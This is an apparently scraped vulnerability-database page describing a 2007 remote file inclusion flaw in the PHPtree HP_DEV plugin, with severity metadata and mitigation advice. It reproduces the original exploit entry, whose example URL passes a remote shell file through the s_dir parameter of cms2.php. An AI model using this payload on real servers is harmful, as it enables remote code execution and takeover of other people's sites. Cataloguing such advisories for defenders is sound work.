header-logo
Suggest Exploit
vendor:
PHPtree
by:
ThE TiGeR
7.5
CVSS
HIGH
Remote file inclusion
98
CWE
Product Name: PHPtree
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested:
2007

PHPtree Remote file inclusion (s_dir)

This exploit allows an attacker to include remote files in PHPtree plugin HP_DEV cms2.php script by manipulating the s_dir parameter in the URL. This can lead to arbitrary code execution on the server.

Mitigation:

To mitigate this vulnerability, ensure that all user input is properly validated and sanitized before being used in file inclusion functions. Additionally, keep PHPtree and its plugins up to date with the latest security patches.
Source

Exploit-DB raw data:

#PHPtree Remote file inclusion (s_dir)

#Download script : http://www.phptree.de/content/download/public/phptree/phptree_v1.3.zip

#Thanks Str0ke

#Exploit

#http://site.com/[phptree_path]/plugin/HP_DEV/cms2.php?s_dir=shell.txt?

#Discovered by : ThE TiGeR

#Miro_Tiger100[at]Hotmail[dot]com

# milw0rm.com [2007-05-05]

Navigation

Suggest Exploit

Services By CQR